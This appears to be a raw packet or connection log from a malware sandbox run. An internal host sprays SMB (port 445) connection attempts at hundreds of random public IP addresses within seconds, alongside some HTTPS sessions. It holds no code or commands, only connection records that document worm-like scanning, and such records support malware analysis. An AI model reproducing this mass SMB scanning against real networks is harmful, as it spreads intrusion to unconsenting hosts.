Jul 21, 2022 04:35:19.194888115 CEST	51533	445	192.168.2.6	53.43.186.247
Jul 21, 2022 04:35:19.194960117 CEST	51534	445	192.168.2.6	39.60.3.30
Jul 21, 2022 04:35:19.203071117 CEST	51535	445	192.168.2.6	45.184.44.250
Jul 21, 2022 04:35:19.204441071 CEST	51537	445	192.168.2.6	47.193.146.149
Jul 21, 2022 04:35:20.000260115 CEST	51539	445	192.168.2.6	207.180.242.9
Jul 21, 2022 04:35:20.001180887 CEST	51540	445	192.168.2.6	190.98.231.36
Jul 21, 2022 04:35:20.024455070 CEST	445	51539	207.180.242.9	192.168.2.6
Jul 21, 2022 04:35:20.275387049 CEST	51541	445	192.168.2.6	108.139.203.160
Jul 21, 2022 04:35:20.276065111 CEST	51542	445	192.168.2.6	61.228.225.85
Jul 21, 2022 04:35:20.276532888 CEST	51543	445	192.168.2.6	189.205.128.44
Jul 21, 2022 04:35:20.276568890 CEST	51544	445	192.168.2.6	205.206.216.125
Jul 21, 2022 04:35:20.276668072 CEST	51546	445	192.168.2.6	196.18.136.217
Jul 21, 2022 04:35:20.276704073 CEST	51545	445	192.168.2.6	102.228.38.12
Jul 21, 2022 04:35:20.276838064 CEST	51547	445	192.168.2.6	219.247.95.73
Jul 21, 2022 04:35:20.276864052 CEST	51548	445	192.168.2.6	131.145.142.66
Jul 21, 2022 04:35:20.276968956 CEST	51549	445	192.168.2.6	79.196.249.238
Jul 21, 2022 04:35:20.277059078 CEST	51550	445	192.168.2.6	182.105.57.37
Jul 21, 2022 04:35:20.283343077 CEST	51551	445	192.168.2.6	160.166.115.56
Jul 21, 2022 04:35:20.283390045 CEST	51552	445	192.168.2.6	20.217.69.6
Jul 21, 2022 04:35:20.283602953 CEST	51553	445	192.168.2.6	217.206.79.130
Jul 21, 2022 04:35:20.283667088 CEST	51554	445	192.168.2.6	95.78.110.199
Jul 21, 2022 04:35:20.283759117 CEST	51556	445	192.168.2.6	103.215.95.161
Jul 21, 2022 04:35:20.283759117 CEST	51555	445	192.168.2.6	92.196.203.16
Jul 21, 2022 04:35:20.297523975 CEST	51557	445	192.168.2.6	93.173.51.50
Jul 21, 2022 04:35:20.298852921 CEST	51559	445	192.168.2.6	40.242.221.121
Jul 21, 2022 04:35:20.299546957 CEST	51560	445	192.168.2.6	69.69.80.164
Jul 21, 2022 04:35:20.327425957 CEST	51561	445	192.168.2.6	121.140.108.132
Jul 21, 2022 04:35:20.328315973 CEST	51562	445	192.168.2.6	3.89.10.185
Jul 21, 2022 04:35:20.328447104 CEST	51563	445	192.168.2.6	50.28.140.38
Jul 21, 2022 04:35:20.328629017 CEST	51565	445	192.168.2.6	9.126.101.0
Jul 21, 2022 04:35:20.329102039 CEST	51567	445	192.168.2.6	102.4.82.69
Jul 21, 2022 04:35:20.329273939 CEST	51569	445	192.168.2.6	166.103.93.91
Jul 21, 2022 04:35:20.329585075 CEST	51574	445	192.168.2.6	139.127.66.100
Jul 21, 2022 04:35:20.329715014 CEST	51575	445	192.168.2.6	128.232.130.236
Jul 21, 2022 04:35:20.329819918 CEST	51576	445	192.168.2.6	5.43.150.136
Jul 21, 2022 04:35:20.332454920 CEST	51577	445	192.168.2.6	75.151.158.146
Jul 21, 2022 04:35:20.332571030 CEST	51578	445	192.168.2.6	189.169.86.15
Jul 21, 2022 04:35:20.587733030 CEST	51580	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:20.587799072 CEST	443	51580	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:20.587898016 CEST	51580	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:20.588740110 CEST	51580	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:20.588768005 CEST	443	51580	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:20.624195099 CEST	51539	445	192.168.2.6	207.180.242.9
Jul 21, 2022 04:35:20.647099018 CEST	445	51539	207.180.242.9	192.168.2.6
Jul 21, 2022 04:35:20.679102898 CEST	443	51580	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:20.679265022 CEST	51580	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:20.697005033 CEST	51580	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:20.697041988 CEST	443	51580	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:20.697403908 CEST	443	51580	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:20.698571920 CEST	51580	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:20.698623896 CEST	51580	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:20.698641062 CEST	443	51580	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:20.698771954 CEST	51580	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:20.725723982 CEST	443	51580	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:20.725816011 CEST	443	51580	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:20.725917101 CEST	51580	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:20.726054907 CEST	51580	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:20.726075888 CEST	443	51580	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:21.118590117 CEST	51583	445	192.168.2.6	207.180.242.10
Jul 21, 2022 04:35:21.119327068 CEST	51584	445	192.168.2.6	190.98.231.37
Jul 21, 2022 04:35:21.141434908 CEST	445	51583	207.180.242.10	192.168.2.6
Jul 21, 2022 04:35:21.402292967 CEST	51585	445	192.168.2.6	82.136.82.73
Jul 21, 2022 04:35:21.403038025 CEST	51586	445	192.168.2.6	181.33.140.252
Jul 21, 2022 04:35:21.415465117 CEST	51588	445	192.168.2.6	64.199.86.95
Jul 21, 2022 04:35:21.415507078 CEST	51587	445	192.168.2.6	222.176.45.201
Jul 21, 2022 04:35:21.415594101 CEST	51589	445	192.168.2.6	67.183.80.87
Jul 21, 2022 04:35:21.415611029 CEST	51590	445	192.168.2.6	133.201.74.234
Jul 21, 2022 04:35:21.415704966 CEST	51591	445	192.168.2.6	222.230.35.196
Jul 21, 2022 04:35:21.415720940 CEST	51592	445	192.168.2.6	53.107.120.121
Jul 21, 2022 04:35:21.415816069 CEST	51593	445	192.168.2.6	175.238.1.30
Jul 21, 2022 04:35:21.415885925 CEST	51594	445	192.168.2.6	72.44.135.251
Jul 21, 2022 04:35:21.415965080 CEST	51595	445	192.168.2.6	162.228.253.54
Jul 21, 2022 04:35:21.416048050 CEST	51597	445	192.168.2.6	207.184.23.99
Jul 21, 2022 04:35:21.416093111 CEST	51598	445	192.168.2.6	126.10.200.163
Jul 21, 2022 04:35:21.416169882 CEST	51599	445	192.168.2.6	164.209.22.253
Jul 21, 2022 04:35:21.416246891 CEST	51600	445	192.168.2.6	71.99.229.118
Jul 21, 2022 04:35:21.416275978 CEST	51596	445	192.168.2.6	87.63.31.173
Jul 21, 2022 04:35:21.421946049 CEST	51601	445	192.168.2.6	52.230.109.12
Jul 21, 2022 04:35:21.422612906 CEST	51602	445	192.168.2.6	190.16.184.197
Jul 21, 2022 04:35:21.423876047 CEST	51604	445	192.168.2.6	32.233.212.240
Jul 21, 2022 04:35:21.454535961 CEST	51606	445	192.168.2.6	6.203.171.54
Jul 21, 2022 04:35:21.455209017 CEST	51607	445	192.168.2.6	62.233.157.91
Jul 21, 2022 04:35:21.455950975 CEST	51608	445	192.168.2.6	170.104.8.28
Jul 21, 2022 04:35:21.456631899 CEST	51609	445	192.168.2.6	63.89.130.155
Jul 21, 2022 04:35:21.457391977 CEST	51610	445	192.168.2.6	108.123.92.12
Jul 21, 2022 04:35:21.460660934 CEST	51615	445	192.168.2.6	166.111.12.190
Jul 21, 2022 04:35:21.461992979 CEST	51617	445	192.168.2.6	210.16.87.50
Jul 21, 2022 04:35:21.463217020 CEST	51619	445	192.168.2.6	67.193.170.132
Jul 21, 2022 04:35:21.464538097 CEST	51621	445	192.168.2.6	113.82.144.72
Jul 21, 2022 04:35:21.466671944 CEST	51622	445	192.168.2.6	139.19.0.117
Jul 21, 2022 04:35:21.479077101 CEST	51623	445	192.168.2.6	221.105.74.213
Jul 21, 2022 04:35:21.661690950 CEST	51583	445	192.168.2.6	207.180.242.10
Jul 21, 2022 04:35:21.684493065 CEST	445	51583	207.180.242.10	192.168.2.6
Jul 21, 2022 04:35:22.141144991 CEST	51626	445	192.168.2.6	207.180.242.11
Jul 21, 2022 04:35:22.141185999 CEST	51627	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:22.363614082 CEST	445	51627	190.98.231.38	192.168.2.6
Jul 21, 2022 04:35:22.364325047 CEST	51627	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:22.367043018 CEST	51628	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:22.515935898 CEST	51629	445	192.168.2.6	148.233.167.195
Jul 21, 2022 04:35:22.516850948 CEST	51630	445	192.168.2.6	148.234.201.81
Jul 21, 2022 04:35:22.531410933 CEST	51631	445	192.168.2.6	188.82.117.42
Jul 21, 2022 04:35:22.532126904 CEST	51632	445	192.168.2.6	61.107.47.50
Jul 21, 2022 04:35:22.533025980 CEST	51633	445	192.168.2.6	121.173.88.34
Jul 21, 2022 04:35:22.533818007 CEST	51634	445	192.168.2.6	134.236.89.230
Jul 21, 2022 04:35:22.534543991 CEST	51635	445	192.168.2.6	136.210.43.51
Jul 21, 2022 04:35:22.535322905 CEST	51636	445	192.168.2.6	193.193.154.223
Jul 21, 2022 04:35:22.536020994 CEST	51637	445	192.168.2.6	50.242.177.135
Jul 21, 2022 04:35:22.536725044 CEST	51638	445	192.168.2.6	97.197.46.97
Jul 21, 2022 04:35:22.537399054 CEST	51639	445	192.168.2.6	195.7.98.239
Jul 21, 2022 04:35:22.538053989 CEST	51640	445	192.168.2.6	206.99.151.187
Jul 21, 2022 04:35:22.538712978 CEST	51641	445	192.168.2.6	63.84.43.86
Jul 21, 2022 04:35:22.539406061 CEST	51642	445	192.168.2.6	143.145.218.3
Jul 21, 2022 04:35:22.540064096 CEST	51643	445	192.168.2.6	217.75.82.128
Jul 21, 2022 04:35:22.540743113 CEST	51644	445	192.168.2.6	87.31.75.190
Jul 21, 2022 04:35:22.560694933 CEST	51645	445	192.168.2.6	74.25.95.24
Jul 21, 2022 04:35:22.560853958 CEST	51646	445	192.168.2.6	156.186.240.207
Jul 21, 2022 04:35:22.561140060 CEST	51648	445	192.168.2.6	165.38.34.169
Jul 21, 2022 04:35:22.570394993 CEST	51651	445	192.168.2.6	91.86.148.15
Jul 21, 2022 04:35:22.570523977 CEST	51650	445	192.168.2.6	214.18.21.105
Jul 21, 2022 04:35:22.570559025 CEST	51652	445	192.168.2.6	134.101.14.52
Jul 21, 2022 04:35:22.570599079 CEST	51653	445	192.168.2.6	87.6.58.253
Jul 21, 2022 04:35:22.570601940 CEST	51654	445	192.168.2.6	15.203.27.59
Jul 21, 2022 04:35:22.570902109 CEST	51661	445	192.168.2.6	137.184.79.92
Jul 21, 2022 04:35:22.570919991 CEST	51660	445	192.168.2.6	112.240.243.130
Jul 21, 2022 04:35:22.571037054 CEST	51663	445	192.168.2.6	78.252.95.53
Jul 21, 2022 04:35:22.571213007 CEST	51666	445	192.168.2.6	148.247.80.253
Jul 21, 2022 04:35:22.571218014 CEST	51665	445	192.168.2.6	193.82.73.113
Jul 21, 2022 04:35:22.594136000 CEST	51667	445	192.168.2.6	63.242.193.191
Jul 21, 2022 04:35:22.624098063 CEST	445	51628	190.98.231.38	192.168.2.6
Jul 21, 2022 04:35:22.624313116 CEST	51628	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:22.669070959 CEST	445	51661	137.184.79.92	192.168.2.6
Jul 21, 2022 04:35:23.124418974 CEST	51627	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:23.204315901 CEST	51671	445	192.168.2.6	207.180.242.12
Jul 21, 2022 04:35:23.227333069 CEST	445	51671	207.180.242.12	192.168.2.6
Jul 21, 2022 04:35:23.327579021 CEST	51661	445	192.168.2.6	137.184.79.92
Jul 21, 2022 04:35:23.424011946 CEST	445	51661	137.184.79.92	192.168.2.6
Jul 21, 2022 04:35:23.515100002 CEST	51628	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:23.629888058 CEST	51673	445	192.168.2.6	60.2.193.98
Jul 21, 2022 04:35:23.629894972 CEST	51672	445	192.168.2.6	114.178.46.8
Jul 21, 2022 04:35:23.656781912 CEST	51674	445	192.168.2.6	90.224.179.120
Jul 21, 2022 04:35:23.658128977 CEST	51676	445	192.168.2.6	68.86.82.168
Jul 21, 2022 04:35:23.659934044 CEST	51677	445	192.168.2.6	88.164.53.74
Jul 21, 2022 04:35:23.659960032 CEST	51678	445	192.168.2.6	84.95.91.6
Jul 21, 2022 04:35:23.660013914 CEST	51675	445	192.168.2.6	196.64.165.112
Jul 21, 2022 04:35:23.660139084 CEST	51679	445	192.168.2.6	44.227.20.127
Jul 21, 2022 04:35:23.660932064 CEST	51680	445	192.168.2.6	91.96.236.41
Jul 21, 2022 04:35:23.661639929 CEST	51681	445	192.168.2.6	190.105.214.191
Jul 21, 2022 04:35:23.662307978 CEST	51682	445	192.168.2.6	59.16.135.172
Jul 21, 2022 04:35:23.662955046 CEST	51683	445	192.168.2.6	137.135.28.48
Jul 21, 2022 04:35:23.676075935 CEST	51684	445	192.168.2.6	92.12.172.103
Jul 21, 2022 04:35:23.678034067 CEST	51685	445	192.168.2.6	216.194.93.0
Jul 21, 2022 04:35:23.678123951 CEST	51687	445	192.168.2.6	99.42.6.248
Jul 21, 2022 04:35:23.678128004 CEST	51686	445	192.168.2.6	85.31.47.74
Jul 21, 2022 04:35:23.696502924 CEST	51688	445	192.168.2.6	111.104.118.8
Jul 21, 2022 04:35:23.696726084 CEST	51692	445	192.168.2.6	113.249.49.189
Jul 21, 2022 04:35:23.696778059 CEST	51693	445	192.168.2.6	117.128.123.89
Jul 21, 2022 04:35:23.696865082 CEST	51695	445	192.168.2.6	20.40.9.194
Jul 21, 2022 04:35:23.696958065 CEST	51697	445	192.168.2.6	117.92.67.241
Jul 21, 2022 04:35:23.697196960 CEST	51704	445	192.168.2.6	158.55.209.51
Jul 21, 2022 04:35:23.697247028 CEST	51705	445	192.168.2.6	179.105.22.153
Jul 21, 2022 04:35:23.697381020 CEST	51708	445	192.168.2.6	170.252.180.95
Jul 21, 2022 04:35:23.697444916 CEST	51707	445	192.168.2.6	19.199.246.99
Jul 21, 2022 04:35:23.730048895 CEST	51698	445	192.168.2.6	105.128.78.206
Jul 21, 2022 04:35:23.730112076 CEST	51689	445	192.168.2.6	27.43.151.118
Jul 21, 2022 04:35:23.730122089 CEST	51706	445	192.168.2.6	102.112.23.194
Jul 21, 2022 04:35:23.730151892 CEST	51690	445	192.168.2.6	10.30.23.208
Jul 21, 2022 04:35:23.730340004 CEST	51710	445	192.168.2.6	146.108.26.106
Jul 21, 2022 04:35:23.756302118 CEST	445	51686	85.31.47.74	192.168.2.6
Jul 21, 2022 04:35:23.808027029 CEST	445	51676	68.86.82.168	192.168.2.6
Jul 21, 2022 04:35:23.810374022 CEST	51671	445	192.168.2.6	207.180.242.12
Jul 21, 2022 04:35:23.810393095 CEST	51627	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:23.833425045 CEST	445	51671	207.180.242.12	192.168.2.6
Jul 21, 2022 04:35:24.124548912 CEST	51628	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:24.254683018 CEST	51713	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:24.254736900 CEST	443	51713	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:24.254831076 CEST	51713	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:24.255146027 CEST	51713	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:24.255160093 CEST	443	51713	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:24.298760891 CEST	51714	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:24.321933985 CEST	445	51714	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:24.322055101 CEST	51714	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:24.322196960 CEST	51714	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:24.325208902 CEST	51715	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:24.345093966 CEST	445	51714	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:24.345124006 CEST	445	51714	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:24.347510099 CEST	443	51713	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:24.347611904 CEST	51713	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:24.347639084 CEST	445	51715	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:24.347731113 CEST	51715	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:24.348001957 CEST	51715	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:24.356364012 CEST	51713	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:24.356381893 CEST	443	51713	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:24.358891010 CEST	51676	445	192.168.2.6	68.86.82.168
Jul 21, 2022 04:35:24.359227896 CEST	51686	445	192.168.2.6	85.31.47.74
Jul 21, 2022 04:35:24.360059023 CEST	51713	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:24.360073090 CEST	443	51713	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:24.360531092 CEST	51713	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:24.360544920 CEST	443	51713	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:24.370810986 CEST	445	51715	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:24.370956898 CEST	51715	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:24.393749952 CEST	445	51715	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:24.394071102 CEST	51715	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:24.419188976 CEST	445	51715	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:24.419504881 CEST	51715	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:24.421514988 CEST	443	51713	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:24.421633005 CEST	443	51713	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:24.421646118 CEST	51713	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:24.421740055 CEST	51713	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:24.423379898 CEST	51713	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:24.423404932 CEST	443	51713	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:24.423414946 CEST	51713	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:24.423474073 CEST	51713	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:24.439714909 CEST	445	51686	85.31.47.74	192.168.2.6
Jul 21, 2022 04:35:24.443195105 CEST	445	51715	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:24.445095062 CEST	51715	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:24.467500925 CEST	445	51715	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:24.467638969 CEST	445	51715	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:24.508857012 CEST	445	51676	68.86.82.168	192.168.2.6
Jul 21, 2022 04:35:24.712112904 CEST	51717	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:24.712156057 CEST	443	51717	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:24.712285995 CEST	51717	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:24.712774992 CEST	51717	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:24.712789059 CEST	443	51717	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:24.735044003 CEST	51718	445	192.168.2.6	39.220.123.248
Jul 21, 2022 04:35:24.735714912 CEST	51719	445	192.168.2.6	38.250.50.36
Jul 21, 2022 04:35:24.788645983 CEST	51721	445	192.168.2.6	220.14.136.169
Jul 21, 2022 04:35:24.788734913 CEST	51722	445	192.168.2.6	157.29.223.203
Jul 21, 2022 04:35:24.789163113 CEST	51723	445	192.168.2.6	169.162.109.38
Jul 21, 2022 04:35:24.789284945 CEST	51724	445	192.168.2.6	184.96.147.153
Jul 21, 2022 04:35:24.789316893 CEST	51725	445	192.168.2.6	198.155.91.4
Jul 21, 2022 04:35:24.789392948 CEST	51726	445	192.168.2.6	109.129.79.147
Jul 21, 2022 04:35:24.789459944 CEST	51727	445	192.168.2.6	138.17.110.250
Jul 21, 2022 04:35:24.789566994 CEST	51729	445	192.168.2.6	150.113.210.55
Jul 21, 2022 04:35:24.789716959 CEST	51728	445	192.168.2.6	39.195.68.243
Jul 21, 2022 04:35:24.789717913 CEST	51730	445	192.168.2.6	119.91.114.5
Jul 21, 2022 04:35:24.789793015 CEST	51732	445	192.168.2.6	164.58.38.140
Jul 21, 2022 04:35:24.789904118 CEST	51733	445	192.168.2.6	142.248.189.177
Jul 21, 2022 04:35:24.789921999 CEST	51731	445	192.168.2.6	64.128.192.80
Jul 21, 2022 04:35:24.790020943 CEST	51734	445	192.168.2.6	194.16.185.64
Jul 21, 2022 04:35:24.797696114 CEST	51736	445	192.168.2.6	61.237.165.139
Jul 21, 2022 04:35:24.798283100 CEST	51737	445	192.168.2.6	180.57.163.52
Jul 21, 2022 04:35:24.798835039 CEST	51738	445	192.168.2.6	160.120.218.219
Jul 21, 2022 04:35:24.799397945 CEST	51739	445	192.168.2.6	153.236.19.186
Jul 21, 2022 04:35:24.799933910 CEST	51740	445	192.168.2.6	31.32.155.51
Jul 21, 2022 04:35:24.807147980 CEST	51747	445	192.168.2.6	181.31.174.44
Jul 21, 2022 04:35:24.807315111 CEST	51750	445	192.168.2.6	83.53.42.130
Jul 21, 2022 04:35:24.807318926 CEST	51746	445	192.168.2.6	64.43.119.114
Jul 21, 2022 04:35:24.807334900 CEST	51751	445	192.168.2.6	199.88.201.190
Jul 21, 2022 04:35:24.807434082 CEST	51752	445	192.168.2.6	12.145.17.113
Jul 21, 2022 04:35:24.807497025 CEST	51753	445	192.168.2.6	168.129.93.74
Jul 21, 2022 04:35:24.807559967 CEST	51755	445	192.168.2.6	32.121.117.149
Jul 21, 2022 04:35:24.807625055 CEST	51756	445	192.168.2.6	17.207.193.133
Jul 21, 2022 04:35:24.812881947 CEST	51757	445	192.168.2.6	16.112.71.181
Jul 21, 2022 04:35:24.864355087 CEST	443	51717	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:24.864470005 CEST	51717	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:24.873804092 CEST	51717	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:24.873825073 CEST	443	51717	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:24.874145031 CEST	51717	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:24.874155045 CEST	443	51717	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:24.874243021 CEST	443	51717	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:24.874298096 CEST	51717	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:24.956007957 CEST	443	51717	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:24.956080914 CEST	443	51717	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:24.956144094 CEST	51717	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:24.956166983 CEST	51717	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.041400909 CEST	51717	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.041435957 CEST	443	51717	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:25.041460037 CEST	51717	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.041661024 CEST	51717	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.071166992 CEST	51759	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:35:25.071208000 CEST	443	51759	20.199.120.182	192.168.2.6
Jul 21, 2022 04:35:25.071305990 CEST	51759	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:35:25.072120905 CEST	51759	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:35:25.072132111 CEST	443	51759	20.199.120.182	192.168.2.6
Jul 21, 2022 04:35:25.111978054 CEST	51760	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.112035990 CEST	443	51760	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:25.112133980 CEST	51760	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.118679047 CEST	51760	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.118716002 CEST	443	51760	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:25.124624968 CEST	51627	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:25.168509960 CEST	443	51759	20.199.120.182	192.168.2.6
Jul 21, 2022 04:35:25.168649912 CEST	51759	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:35:25.172580957 CEST	51759	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:35:25.172595024 CEST	443	51759	20.199.120.182	192.168.2.6
Jul 21, 2022 04:35:25.172867060 CEST	443	51759	20.199.120.182	192.168.2.6
Jul 21, 2022 04:35:25.178380013 CEST	51759	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:35:25.178431988 CEST	51759	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:35:25.178442001 CEST	443	51759	20.199.120.182	192.168.2.6
Jul 21, 2022 04:35:25.178599119 CEST	51759	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:35:25.205698013 CEST	443	51759	20.199.120.182	192.168.2.6
Jul 21, 2022 04:35:25.205770016 CEST	443	51759	20.199.120.182	192.168.2.6
Jul 21, 2022 04:35:25.205833912 CEST	51759	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:35:25.205916882 CEST	51759	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:35:25.205929041 CEST	443	51759	20.199.120.182	192.168.2.6
Jul 21, 2022 04:35:25.257162094 CEST	443	51760	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:25.257281065 CEST	51760	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.261866093 CEST	51760	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.261892080 CEST	443	51760	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:25.354511023 CEST	51760	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.354542017 CEST	443	51760	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:25.522495985 CEST	443	51760	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:25.522567034 CEST	443	51760	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:25.522581100 CEST	51760	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.522614956 CEST	51760	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.696656942 CEST	51760	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.696686983 CEST	443	51760	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:25.696693897 CEST	51760	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.696753025 CEST	51760	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.729218960 CEST	51763	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.729264021 CEST	443	51763	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:25.729377031 CEST	51763	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.828521013 CEST	51628	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:25.830132008 CEST	51763	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.830156088 CEST	443	51763	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:25.856810093 CEST	51764	445	192.168.2.6	89.94.0.160
Jul 21, 2022 04:35:25.856909990 CEST	51765	445	192.168.2.6	67.108.15.62
Jul 21, 2022 04:35:25.915537119 CEST	51767	445	192.168.2.6	193.31.85.74
Jul 21, 2022 04:35:25.915869951 CEST	51771	445	192.168.2.6	3.160.206.26
Jul 21, 2022 04:35:25.915873051 CEST	51768	445	192.168.2.6	48.145.191.21
Jul 21, 2022 04:35:25.915900946 CEST	51770	445	192.168.2.6	175.208.219.34
Jul 21, 2022 04:35:25.922689915 CEST	51769	445	192.168.2.6	133.173.122.77
Jul 21, 2022 04:35:25.922832012 CEST	51772	445	192.168.2.6	37.222.77.54
Jul 21, 2022 04:35:25.922955990 CEST	51773	445	192.168.2.6	165.174.252.34
Jul 21, 2022 04:35:25.923074961 CEST	51774	445	192.168.2.6	4.163.75.183
Jul 21, 2022 04:35:25.923173904 CEST	51775	445	192.168.2.6	126.224.254.82
Jul 21, 2022 04:35:25.923290014 CEST	51776	445	192.168.2.6	149.151.229.20
Jul 21, 2022 04:35:25.923379898 CEST	51777	445	192.168.2.6	209.236.29.127
Jul 21, 2022 04:35:25.923472881 CEST	51778	445	192.168.2.6	146.146.247.228
Jul 21, 2022 04:35:25.923558950 CEST	51779	445	192.168.2.6	199.253.134.124
Jul 21, 2022 04:35:25.923665047 CEST	51780	445	192.168.2.6	32.115.22.229
Jul 21, 2022 04:35:25.936398983 CEST	51781	445	192.168.2.6	165.184.124.133
Jul 21, 2022 04:35:25.936520100 CEST	51782	445	192.168.2.6	135.149.147.245
Jul 21, 2022 04:35:25.936614990 CEST	51783	445	192.168.2.6	122.227.18.102
